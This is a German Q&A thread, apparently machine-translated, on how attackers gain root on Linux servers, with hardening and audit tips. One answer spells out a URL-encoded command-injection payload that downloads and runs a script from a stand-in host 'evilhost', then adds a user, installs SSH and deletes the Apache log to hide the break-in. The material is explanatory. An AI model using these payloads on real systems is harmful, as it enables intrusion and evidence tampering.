Nein, ich bin nicht auf der Suche, ein Cracker oder so etwas zu werden, aber ich versuche, den Prozess herauszufinden (mehr aus einer Programmierperspektive).
Ich gehe also davon aus, dass das Hauptziel eines Crackers darin besteht, Root-Zugriff zu erhalten, um die Software (oder das Skript) zu installieren, die er geschrieben hat, oder? oder vielleicht ein eigenes kernal-Modul installieren (das ist aus irgendeinem Grund abwegig) Wie genau macht eine Person das?
Ich weiß, dass Leute Skripte verwenden, um nach Exploits zu suchen ... aber ich sehe nicht, wie und ich sehe auch nicht genau, was sie mit ihnen machen, wenn sie sie gefunden haben? Prüfen sie Versionen auf bekannte Exploits ...... und finden sie dann eine .......
Ich weiß, das klingt alles sehr neu. aber ich versuche nur eine Vorstellung davon zu bekommen, wie es funktioniert, da ich weiß, dass Linux / Unix-Systeme sehr sicher sein sollen, aber ich versuche herauszufinden, wie jemand überhaupt vorgehen würde (den Prozess), um Root-Zugriff zu erhalten.
Der größte Faktor ist die Art des Zugriffs, den der Angreifer hat. Wenn sie physischen Zugang haben, sind Sie geschraubt. Wenn Sie sich nur mit dem Fernzugriff befassen, hängt es davon ab, was Sie ausgeführt haben. Gute Konfiguration ist alles. Auf einem Standard-Linux-Server würden wahrscheinlich ftp, ssh, http, https und mysql ausgeführt. SSH ist sicher, aber ich würde Root-Anmeldungen nicht zulassen, und ein gutes Passwort für jedes Konto ist ein Muss. FTP ist ein Hit oder Miss. Wenn Sie über VSFTP verfügen und Ihre Benutzer chrooten, ist dies sehr sicher. In einigen anderen Versionen sind Sicherheitslücken bekannt. HTTP wird wahrscheinlich Ihr anfälligster Bereich sein. Ihre größte Sorge ist hier alles, was Dateien auf dem System ausführt oder Dateien auf das System hochlädt. SQL-Injection ist SEHR schwierig, wenn Ihre Website in PHP5 erstellt wurde. Eine Gruppe von Sicherheitsstudenten und ich haben wochenlang SQL-Injektionen auf einer nicht bereinigten PHP5-Website ausprobiert und waren erfolglos. Verwenden Sie unter MySQL unbedingt einen Benutzer, der kein Root-Benutzer ist, und beschränken Sie sich darauf, sich nur von Ihrem Apache-Server aus anzumelden.
Es gibt ein paar Firefox-Plugins zum Testen von Website-Schwachstellen: Greifen Sie auf mich zu, xss mich und sql injizieren mich
Einige wichtige Dinge, die ich bei Wettbewerben immer tun würde, um die Sicherheit zu gewährleisten, wären:
netstat
- offene Ports und Verbindungen prüfen,w
- wer ist wie lange eingeloggt,ps
- Befehle ausführen,/etc/passwd
für zusätzliche Benutzer/etc/sudoers
für Sudo-Zugriff.Normalerweise möchte ein Angreifer, nachdem er Zugriff erhalten hat, root werden. Derzeit gibt es einige Sicherheitsanfälligkeiten, die zur Eskalation von Berechtigungen führen und es einem normalen Benutzer ermöglichen würden, root zu werden. Danach möchten sie es für den späteren Zugriff öffnen, indem sie Benutzer hinzufügen und Hintertüren öffnen.
Hier ist die Cyber Defense-Website meiner Schule. Sie können sich gerne umsehen und Fragen stellen: https://thislink.doesntexist.org/
quelle
Die Sicherheit eines Systems hängt von den Fähigkeiten des Administrators ab. Es ist also falsch zu sagen, dass Linux / Unix-Systeme sehr sicher sein sollen. :)
Nun zum Hacken ... Es gibt eine Art Tool namens " Vulnerability Scanner " wie Nessus , das nach Dingen sucht, die ausgenutzt werden können. In einem komplexen System können tausende Probleme auftreten, z. B. ein falsch konfigurierter Apache-Server, mit dem beliebige Dateien an beliebige Orte hochgeladen werden können. Diese können als Sprungbrett für weitere Exploits dienen, z. B. für den Zugriff auf eine Datenbank oder ein E-Mail-Konto, über das die Kennwörter mithilfe der Funktion "Kennwort vergessen" wiederhergestellt werden können.
Manchmal besteht ein Hack darin, Zugang zu erlangen und etwas Böses zu tun. Manchmal machen die Leute das zum Spaß (was übrigens albern ist).
UND, hier ist eine Geschichte von einem berühmten Hack, der vor kurzem passiert ist. Ich denke, es wird für jeden illustrativ sein, der sich mit Sicherheit befasst! So zitieren Sie eine Zusammenfassung der Exploits:
quelle
Es gibt so viele Angriffsvektoren, dass sie nahezu unendlich sind. Eines der einfachsten Konzepte ist, ein Programm öffentlich zugänglich zu machen und zu sagen, dass es etwas anderes tut als es wirklich tut. Geben Sie den Benutzern
sudo
am Anfang eine freundliche Anleitung und sehen Sie zu, wie die Welt boomt. Dies ist bei Closed-Source-Programmen jeden Tag der Fall, da es für eine einzelne Person nicht möglich ist, die Funktionsweise im Voraus zu überprüfen, wie dies beispielsweise bei Sony-CDs der Fall ist .Sie können auch versuchen, spezielle Zeichenfolgen an einen Remote-Host zu senden. Nehmen wir an, Sie haben einen Webserver, auf dem Software ausgeführt wird, und diese Software führt einen Teil der URL als Befehl aus, ohne zu entkommen oder auf andere Weise sicherzustellen, dass sie keinen Schaden anrichtet. Senden Sie etwas wie
http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh
. Dekodiert wird der Suchbegriff . Wenn dies ausgeführt wird, wird script.sh mit den gleichen Zugriffsrechten wie der Webserver-Benutzer ausgeführt, um auf dem Computer etwas zu tun. Manchmal lassen die Leute diese als Wurzel für "Bequemlichkeit" laufen, in diesem Fall als Synonym für Faulheit und / oder Ahnungslosigkeit. Selbst wenn es nicht als root ausgeführt wird, kann dieses Skript Tausende von Tests für andere Lücken in der installierten Software ausführen und einen anderen Befehl ausführen, wenn es eine findet. Dieser letzte Befehl könnte zum Beispiel seinfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh
useradd blabla; apt-get install openssh; rm /var/log/apache.log
, um SSH-Zugriff zu erhalten und Spuren des Einbruchs zu entfernen.[Die Befehle waren offensichtlich vereinfacht und würden wahrscheinlich sowieso nicht funktionieren. YMMV]
quelle